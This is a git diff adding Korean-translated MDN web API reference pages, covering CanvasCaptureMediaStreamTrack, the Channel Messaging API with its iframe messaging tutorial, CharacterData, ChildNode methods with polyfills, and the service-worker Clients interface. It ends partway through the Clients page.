{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Cache.put")}}

+ +

See also

+ + diff --git a/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html new file mode 100644 index 0000000000..de8703deb5 --- /dev/null +++ b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html @@ -0,0 +1,69 @@ +--- +title: CanvasCaptureMediaStreamTrack.canvas +slug: Web/API/CanvasCaptureMediaStreamTrack/canvas +tags: + - 웹 + - 캔버스 +translation_of: Web/API/CanvasCaptureMediaStreamTrack/canvas +--- +
{{APIRef}}
+ +

The {{domxref("CanvasCaptureMediaStreamTrack")}} canvas읽기 전용 속성은 프레임이 캡쳐되는{{domxref("HTMLCanvasElement")}} 를 반환한다.

+ +

구문

+ +
var elt = stream.canvas;
+
+ +

+ +

캡처되는 프레임의 원본인 canvas를 나타내는 HTMLCanvasElement .

+ +

예시

+ +
// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 얻기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// stream 처리하기
+...
+
+// stream과 연결된 canvas 가져오기
+var canvas = stream.canvas;
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태내용
{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-canvas', 'CanvasCaptureMediaStreamTrack.canvas')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.CanvasCaptureMediaStreamTrack.canvas")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/canvascapturemediastreamtrack/index.html b/files/ko/web/api/canvascapturemediastreamtrack/index.html new file mode 100644 index 0000000000..26c00af3eb --- /dev/null +++ b/files/ko/web/api/canvascapturemediastreamtrack/index.html @@ -0,0 +1,72 @@ +--- +title: CanvasCaptureMediaStreamTrack +slug: Web/API/CanvasCaptureMediaStreamTrack +tags: + - CanvasCaptureMediaStreamTrack + - Experimental + - Frame Capture + - Interface + - Media + - Media Capture + - NeedsTranslation + - Reference + - TopicStub + - Web +translation_of: Web/API/CanvasCaptureMediaStreamTrack +--- +
{{APIRef("Media Capture and Streams")}}
+ +

The CanvasCaptureMediaStreamTrack interface represents the video track contained in a {{domxref("MediaStream")}} being generated from a {{HTMLElement("canvas")}} following a call to {{domxref("HTMLCanvasElement.captureStream()")}}.

+ +

Part of the Media Capture and Streams API.

+ +

Properties

+ +

This interface inherits the properties of its parent, {{domxref("MediaStreamTrack")}}.

+ +
+
{{domxref("CanvasCaptureMediaStreamTrack.canvas")}} {{readonlyInline}}
+
Returns the {{domxref("HTMLCanvasElement")}} object whose surface is captured in real-time.
+
+ +

Methods

+ +

This interface inherits the methods of its parent, {{domxref("MediaStreamTrack")}}.

+ +
+
{{domxref("CanvasCaptureMediaStreamTrack.requestFrame()")}}
+
Manually forces a frame to be captured and sent to the stream. This lets applications that wish to specify the frame capture times directly do so, if they specified a frameRate of 0 when calling {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}}.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#the-canvascapturemediastreamtrack', 'CanvasCaptureMediaStreamTrack')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.CanvasCaptureMediaStreamTrack")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html new file mode 100644 index 0000000000..aff25aaaa3 --- /dev/null +++ b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html @@ -0,0 +1,69 @@ +--- +title: CanvasCaptureMediaStreamTrack.requestFrame() +slug: Web/API/CanvasCaptureMediaStreamTrack/requestFrame +tags: + - 캔버스 +translation_of: Web/API/CanvasCaptureMediaStreamTrack/requestFrame +--- +
{{APIRef("Media Capture and Streams")}}
+ +

The {{domxref("CanvasCaptureMediaStreamTrack")}} 의 메서드 requestFrame() 은 canvas에서 프레임을 캡처하여 stream으로 보낼 것을 요청한다. 렌더링 타이밍과 프레임 캡처를 섬세하게 제어해야하는 애플리케이션은  requestFrame() 을 사용해 프레임을 캡처할 시기를 직접 지정할 수 있다.

+ +

프레임의 자동 캡처를 방지하려면 requestFrame() 이 호출될 때만 프레임이 캡처되도록 {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}} 메서드에 값을 0으로 지정하세요.

+ +

구문

+ +
stream.requestFrame();
+
+ +

Return 값

+ +

undefined

+ +

참고 사항

+ +

현재 사양에는 canvas가 origin-clean 이 아닌 경우 예외를 발생시키지 않는다는 점을 지적하는 문제가 플래그로 표시되어 있다. 이것은 앞으로 바뀔 수 있기 때문에 계획을 미리 세우고  SecurityError (적용될 수 있는 구체적인 오류는 사양에 언급되어 있지 않지만, 유력한 후보임)와 같은 예외사항을 지켜보는 것이 좋다.

+ +

예시

+ +
// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 가져오기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// canvas의 현재 상태를 프레임으로 stream에 보내기
+stream.getVideoTracks()[0].requestFrame();
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태내용
{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-requestframe', 'CanvasCaptureMediaStream.requestFrame()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.CanvasCaptureMediaStreamTrack.requestFrame")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/channel_messaging_api/index.html b/files/ko/web/api/channel_messaging_api/index.html new file mode 100644 index 0000000000..c65fe58975 --- /dev/null +++ b/files/ko/web/api/channel_messaging_api/index.html @@ -0,0 +1,91 @@ +--- +title: Channel Messaging API +slug: Web/API/Channel_Messaging_API +tags: + - API + - Channel messaging + - HTML API + - Overview + - Reference +translation_of: Web/API/Channel_Messaging_API +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

The Channel Messaging API allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.

+ +

{{AvailableInWorkers}}

+ +

Channel messaging concepts and usage

+ +

A message channel is created using the {{domxref("MessageChannel.MessageChannel", "MessageChannel()")}} constructor. Once created, the two ports of the channel can be accessed through the {{domxref("MessageChannel.port1")}} and {{domxref("MessageChannel.port2")}} properties (which both return {{domxref("MessagePort")}} objects.) The app that created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using {{domxref("window.postMessage")}} along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.)

+ +

When these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to. For instance a port, when is sent, cannot be used anymore by the original context. Note that the only two objects that can currently be transferred are {{domxref("ArrayBuffer")}} and {{domxref("MessagePort")}}.

+ +

The other browsing context can listen for the message using {{domxref("MessagePort.onmessage")}}, and grab the contents of the message using the event's data attribute. You could then respond by sending a message back to the original document using {{domxref("MessagePort.postMessage")}}.

+ +

When you want to stop sending messages down the channel, you can invoke {{domxref("MessagePort.close")}} to close the ports.

+ +

Find out more about how to use this API in Using channel messaging.

+ +

Channel messaging interfaces

+ +
+
{{domxref("MessageChannel")}}
+
Creates a new message channel to send messages across.
+
{{domxref("MessagePort")}}
+
Controls the ports on the message channel, allowing sending of messages from one port and listening out for them arriving at the other.
+
{{domxref("PortCollection")}}
+
An array of MessagePorts; an experimental solution to allow broadcasting of a message to multiple ports simultaneously.
+
+ +

Examples

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
+

MessageChannel

+ +
+ + +

{{Compat("api.MessageChannel", 0)}}

+ +

MessagePort

+ +
+ + +

{{Compat("api.MessagePort", 0)}}

+
+
+
+ +

See also

+ + diff --git a/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html new file mode 100644 index 0000000000..f4400bd998 --- /dev/null +++ b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html @@ -0,0 +1,220 @@ +--- +title: Using channel messaging +slug: Web/API/Channel_Messaging_API/Using_channel_messaging +translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

Channel Messaging API 는 두 개의 독립적인 스크립트(예를 들면, 두 개의 IFrame, 또는 메인 다큐먼트와 IFrame, 또는 {{domxref("SharedWorker")}}에 의한 두 개의 다큐먼트)를 각 포트를 가진 양방향 채널(또는 파이프)을 통해 서로 직접 통신할 수 있도록 해줍니다. 이 문서에서 이 기술을 사용하는 기본내용에 대해 살펴봅시다.

+ +

{{AvailableInWorkers}}

+ +

Use cases

+ +

Channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via IFrames, such as games, address book, or an audio player with personalized music choices. When these act as standalone units, things are ok, but the difficulty comes when you want interaction between the main site and the IFrames, or the different IFrames. For example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into  your main profile, or add new background music choices from the audio player onto the game? Such things are not so easy using conventional web technology, because of the security models the web uses. You have to think about whether the origins trust one another, and how the messages are passed.

+ +

Message channels on the other hand can provide a secure channel that a single data item can be sent down, from one browsing context to another, after which the channel is closed. The sending context asks the receiving context for the capability to send a single message. At the receiving end, this message is actioned as appropriate (for example as "add a contact", or "share high scores".)

+ +
+

Note: For more information and ideas, the Ports as the basis of an object-capability model on the Web section of the spec is a useful read.

+
+ +

Simple examples

+ +

To get your started, we have published a couple of demos on Github. First up, check out our channel messaging basic demo (run it live too), which shows a really simple single message transfer between a page and an embedded {{htmlelement("iframe")}}. The embedded IFrame then sends a confirmation message back. Second, have a look at our multimessaging demo (run this live), which shows a slightly more complex setup that can send multiple messages between main page and IFrame.

+ +

We'll be focusing on the latter example in this article. It looks like so:

+ +

+ +

Creating the channel

+ +

In the main page of the demo, we have a paragraph and a simple form with a text input for entering messages to be sent to an {{htmlelement("iframe")}}.

+ +
var para = document.querySelector('p');
+var textInput = document.querySelector('.message-box');
+var button = document.querySelector('button');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  button.onclick = function(e) {
+    e.preventDefault();
+
+    var channel = new MessageChannel();
+    otherWindow.postMessage(textInput.value, '*', [channel.port2]);
+
+    channel.port1.onmessage = handleMessage;
+    function handleMessage(e) {
+      para.innerHTML = e.data;
+      textInput.value = '';
+    }
+  }
+}
+ +

When the IFrame has loaded, we run an iframeLoaded() function containing an onclick handler for our button — when the button is clicked, we prevent the form submitting as normal, create a new message channel with the {{domxref("MessageChannel()","MessageChannel.MessageChannel")}} constructor, then send the value entered in our text input to the IFrame via the {{domxref("MessageChannel")}}. Let's explore how the window.postMessage line works in a bit more detail.

+ +

For a start, here we are calling the {{domxref("window.postMessage")}} method — we are posting a message to the IFrame's window context. {{domxref("window.postMessage")}} has three arguments, unlike {{domxref("MessagePort.postMessage")}}, which only has two. The three arguments are:

+ +
    +
  1. The message being sent, in this case textInput.value.
  2. +
  3. The origin the message is to be sent to. * means "any origin".
  4. +
  5. An object, the ownership of which is transferred to the receiving browsing context. In this case, we are transferring {{domxref("MessageChannel.port2")}} to the IFrame, so it can be used to receive the message from the main page.
  6. +
+ +

At the bottom of the iframeLoaded() function there is a {{domxref("MessagePort.onmessage")}} handler, but we'll get to that later.

+ +

Receiving the port and message in the IFrame

+ +

Over in the IFrame, we have the following JavaScript:

+ +
var list = document.querySelector('ul');
+
+onmessage = function(e) {
+  var listItem = document.createElement('li');
+  listItem.textContent = e.data;
+  list.appendChild(listItem);
+  e.ports[0].postMessage('Message received by IFrame: "' + e.data + '"');
+}
+ +

The entirety of the code is wrapped in a {{domxref("window.onmessage")}} handler, which runs when the message is received from the main page (via its postMessage().) First we create a list item and insert it in the unordered list, setting the {{domxref("textContent","Node.textContent")}} of the list item equal to the event's data attribute (this contains the actual message).

+ +

Next, we post a confirmation message back to the main page via the message channel, using e.ports[0].postMessage(). How does this work? Earlier we transferred port2 over to the IFrame — this is accessible in the event's ports attribute (array position [0]). We call {{domxref("MessagePort.postMessage")}} on this port — since port2 is being controlled by the IFrame, and it is joined to port1 by the message channel, the specified message will be sent back to the main page.

+ +

Receiving the confirmation in the main page

+ +

Returning to the main page, let's now look at the onmessage handler at the bottom of the iframeLoaded() function:

+ +
channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+  textInput.value = '';
+}
+ +

Here we are setting port1's {{domxref("MessagePort.onmessage")}} handler equal to the handleMessage() function — when a message is received back from the IFrame confirming that the original message was received successfully, this simply outputs the confirmation to a paragraph and empties the text input ready for the next message to be sent.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop(41)}}10.010.65
PortCollection{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44{{CompatVersionUnknown}}{{CompatGeckoMobile(41)}}{{CompatNo}}10.011.55.1
PortCollection{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/characterdata/index.html b/files/ko/web/api/characterdata/index.html new file mode 100644 index 0000000000..0e0b383a82 --- /dev/null +++ b/files/ko/web/api/characterdata/index.html @@ -0,0 +1,97 @@ +--- +title: CharacterData +slug: Web/API/CharacterData +tags: + - API + - DOM +translation_of: Web/API/CharacterData +--- +

{{APIRef("DOM")}}

+ +

CharacterData 추상 인터페이스는 문자를 포함하는 {{domxref("Node")}} 객체를 나타냅니다. 이는 추상 인터페이스로 CharacterData 타입의 객체로는 존재하지 않음을 의미합니다. {{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("ProcessingInstruction")}} 와 같은 추상 인터페이스가 아닌 다른 인터페이스에의해 구현되었습니다.

+ +

{{InheritanceDiagram}}

+ +

프로퍼티

+ +

부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("CharacterData.data")}}
+
이 객체를 포함하는 문자형 데이터를 나타내는 {{domxref("DOMString")}} 입니다.
+
{{domxref("CharacterData.length")}} {{readonlyInline}}
+
CharacterData.data 에 포함된 문자열의 크기를 나타내는 unsigned long 을 반환합니다.
+
{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}
+
부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 다음 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 마지막 것일 경우 null 을 반환합니다.
+
{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}
+
부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 이전 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 처음 것일 경우 null 을 반환합니다.
+
+ +

메소드

+ +

부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("CharacterData.appendData()")}}
+
주어진 {{domxref("DOMString")}} 을 CharacterData.data 문자열에 붙입니다. 이 메소드가 반환할 때 data 는 이어 붙여진 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("CharacterData.deleteData()")}}
+
CharacterData.data 문자열의 특정 오프셋으로부터 지정한 양만큼의 문자열을 제거합니다. 이 메소드가 반환할 때 data 는 짧아진 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("CharacterData.insertData()")}}
+
CharacterData.data 문자열의 특정 오프셋에 특정 문자열을 삽입합니다. 이 메소드가 반환할 때 data 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
부모의 자식 리스트로부터 객체를 제거합니다.
+
{{domxref("CharacterData.replaceData()")}}
+
특정 오프셋으로부터 지정한 양만큼의 문자열을 지정된 {{domxref("DOMString")}} 으로 대체합니다. 이 메소드가 반환할 때 data 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("CharacterData.substringData()")}}
+
CharacterData.data 의 특정 오프셋으로부터 지정된 길이만큼의 {{domxref("DOMString")}} 을 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}{{Spec2('DOM WHATWG')}}{{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스 구현을 추가했음.
{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM3 Core')}}{{SpecName('DOM2 Core')}} 로부터 변경사항 없음.
{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM2 Core')}}{{SpecName('DOM1')}} 로부터 변경사항 없음.
{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

 

+ +

{{Compat("api.CharacterData")}}

+ +

함께 보기

+ +

 

+ + diff --git a/files/ko/web/api/childnode/before/index.html b/files/ko/web/api/childnode/before/index.html new file mode 100644 index 0000000000..8481f44374 --- /dev/null +++ b/files/ko/web/api/childnode/before/index.html @@ -0,0 +1,144 @@ +--- +title: ChildNode.before() +slug: Web/API/ChildNode/before +tags: + - API + - DOM + - 노드 + - 레퍼런스 + - 메소드 + - 실험중 +translation_of: Web/API/ChildNode/before +--- +
{{APIRef("DOM")}} {{SeeCompatTable}}
+ +

ChildNode.before 메소드는 ChildNode 의 부모가 가진 자식의 ChildNode 바로 이전에 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 삽입합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.

+ +

문법

+ +
[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+
+ +

파라미터

+ +
+
nodes
+
삽입할 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합입니다.
+
+ +

예외

+ + + +

예제

+ +

엘리먼트 삽입하기

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "<div><span></span><p></p></div>"
+
+ +

텍스트 삽입하기

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "<div>Text<p></p></div>"
+ +

엘리먼트와 텍스트 삽입하기

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "<div><span></span>Text<p></p></div>"
+ +

ChildNode.before() 는 범위를 지정할 수 없습니다

+ +

before() 메소드는 with 구문으로 범위를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 문서를 확인하세요.

+ +
with(node) {
+  before("foo");
+}
+// ReferenceError: before is not defined 
+ +

폴리필

+ +

다음 코드를 사용해 인터넷 익스플로러 9 이상에서 before() 메소드 를 폴리필링할 수 있습니다.

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('before')) {
+      return;
+    }
+    Object.defineProperty(item, 'before', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function before() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ChildNode.before")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/childnode/index.html b/files/ko/web/api/childnode/index.html new file mode 100644 index 0000000000..2d48b7ef8c --- /dev/null +++ b/files/ko/web/api/childnode/index.html @@ -0,0 +1,76 @@ +--- +title: ChildNode +slug: Web/API/ChildNode +tags: + - API + - DOM + - 노드 + - 실험중 + - 인터페이스 +translation_of: Web/API/ChildNode +--- +
{{APIRef("DOM")}}
+ +

ChildNode 인터페이스는 부모를 가질 수 있는 {{domxref("Node")}} 객체에 고유한 메소드를 포함합니다.

+ +

ChildNode는 원시 인터페이스이며 이 타입의 객체는 생성할 수 없습니다. 이는 {{domxref("Element")}}, {{domxref("DocumentType")}} 및 {{domxref("CharacterData")}} 객체로 구현되었습니다.

+ +

프로퍼티

+ +

상속 및 특정 프로퍼티가 없습니다.

+ +

메소드

+ +

상속된 메소드가 없습니다.

+ +
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
ChildNode를 부모의 자식 목록으로부터 제거합니다.
+
{{domxref("ChildNode.before()")}} {{experimental_inline}}
+
{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 ChildNode의 바로 앞에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.
+
{{domxref("ChildNode.after()")}} {{experimental_inline}}
+
{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 ChildNode의 바로 뒤에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.
+
{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}
+
부모의 자식 목록에 있는 ChildNode를 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합으로 대체합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}{{Spec2('DOM WHATWG')}}ElementTraversal 인터페이스를 {{domxref("ParentNode")}}와 ChildNode로 분리합니다. previousElementSiblingnextElementSibling은 이제 마지막에 정의됩니다. {{domxref("CharacterData")}}와 {{domxref("DocumentType")}}은 새 인터페이스를 구현했습니다. remove(), before(), after()replaceWith() 메소드가 추가되었습니다.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}프로퍼티의 초기 정의가 ElementTraversal 순수 인터페이스에 추가되었고 {{domxref("Element")}}에서 사용합니다.
+ +

폴리필

+ +

github의 외부 코드: childNode.js

+ +

브라우저 호환성

+ + + +

{{Compat("api.ChildNode")}}

+ +

참고

+ + diff --git a/files/ko/web/api/childnode/remove/index.html b/files/ko/web/api/childnode/remove/index.html new file mode 100644 index 0000000000..2c4992989f --- /dev/null +++ b/files/ko/web/api/childnode/remove/index.html @@ -0,0 +1,97 @@ +--- +title: ChildNode.remove() +slug: Web/API/ChildNode/remove +tags: + - API + - ChildNode + - DOM + - 메소드 + - 실험중 +translation_of: Web/API/ChildNode/remove +--- +
{{APIRef("DOM")}}
+ +

ChildNode.remove() 메소드는 이를 포함하는 트리로부터 객체를 제거합니다.

+ +

문법

+ +
node.remove();
+
+ +

예제

+ +

remove() 사용하기

+ +
<div id="div-01">div-01 입니다</div>
+<div id="div-02">div-02 입니다</div>
+<div id="div-03">div-03 입니다</div>
+
+ +
var el = document.getElementById('div-02');
+el.remove(); // id가 'div-02' 인 div를 제거합니다
+
+ +

ChildNode.remove() 는 스코프 지정 불가

+ +

remove() 메소드는 with 구문으로 스코프를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 을 확인하세요.

+ +
with(node) {
+  remove();
+}
+// ReferenceError: remove is not defined 
+ +

폴리필

+ +

인터넷 익스플로러 9 이상에서는 다음 코드를 사용해 remove() 메소드 를 폴리필링할 수 있습니다.

+ +
// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('remove')) {
+      return;
+    }
+    Object.defineProperty(item, 'remove', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function remove() {
+        if (this.parentNode !== null)
+          this.parentNode.removeChild(this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ChildNode.remove")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/clients/claim/index.html b/files/ko/web/api/clients/claim/index.html new file mode 100644 index 0000000000..ff74825a1d --- /dev/null +++ b/files/ko/web/api/clients/claim/index.html @@ -0,0 +1,66 @@ +--- +title: Clients.claim() +slug: Web/API/Clients/claim +translation_of: Web/API/Clients/claim +--- +

{{SeeCompatTable}}{{APIRef("Service Worker Clients")}}

+ +

{{domxref("Clients")}} 의 claim() 메소드는 active 서비스워커가 그것의 {{domxref("ServiceWorkerRegistration.scope", "scope")}} 를 가지는 모든 클라이언트들의 {{domxref("ServiceWorkerContainer.controller", "controller")}} 로서 자신을 등록하는 것을 허용한다. 이것은 이 서비스워커가 제어하게 될 클라이언트들에 "controllerchange" 이벤트를 발생시킨다.

+ +

서비스워커가 최초에 등록되면, 페이지들은 다음 로드시까지 그것을 사용하지 않을 것이다. claim() 메소드는 그 페이지들을 즉시 제어될 수 있도록 한다. 이로 인해, 당신의 서비스워커는 네트워크 또는 다른 서비스워커를 통해 정기적으로 로드되는 페이지들을 제어하게 된다.

+ +

Syntax

+ +
await clients.claim();
+
+ +

Parameters

+ +

None.

+ +

Returns

+ +

A {{jsxref("Promise")}} for void.

+ +

Example

+ +

다음 예시는 서비스워커의 "activate" 이벤트 리스너에서 claim() 를 사용하므로, fetch 들이 이 서비스워커를 통과하기 전에 동일한 스코프에서 로드된 클라이언트들은 다시 로드될 필요가 없다. .

+ +
self.addEventListener('activate', event => {
+  event.waitUntil(clients.claim());
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients-claim', 'claim()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Clients.claim")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/clients/index.html b/files/ko/web/api/clients/index.html new file mode 100644 index 0000000000..d4365b320e --- /dev/null +++ b/files/ko/web/api/clients/index.html @@ -0,0 +1,102 @@ +--- +title: Clients +slug: Web/API/Clients +tags: + - API + - Clients + - Experimental + - Interface + - NeedsTranslation + - Reference + - Service Workers + - Service worker API + - ServiceWorker + - TopicStub + - Workers +translation_of: Web/API/Clients +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

The Clients interface provides access to {{domxref("Client")}} objects. Access it via {{domxref("ServiceWorkerGlobalScope", "self")}}.clients within a service worker.

+ +

Methods

+ +
+
{{domxref("Clients.get()")}}
+
Returns a {{jsxref("Promise")}} for a {{domxref("Client")}} matching a given {{domxref("Client.id", "id")}}.
+
{{domxref("Clients.matchAll()")}}
+
Returns a {{jsxref("Promise")}} for an array of {{domxref("Client")}} objects. An options argument allows you to control the types of clients returned. 
+
{{domxref("Clients.openWindow()")}}
+
Opens a new browser window for a given url and returns a {{jsxref("Promise")}} for the new {{domxref("WindowClient")}}.
+
{{domxref("Clients.claim()")}}
+
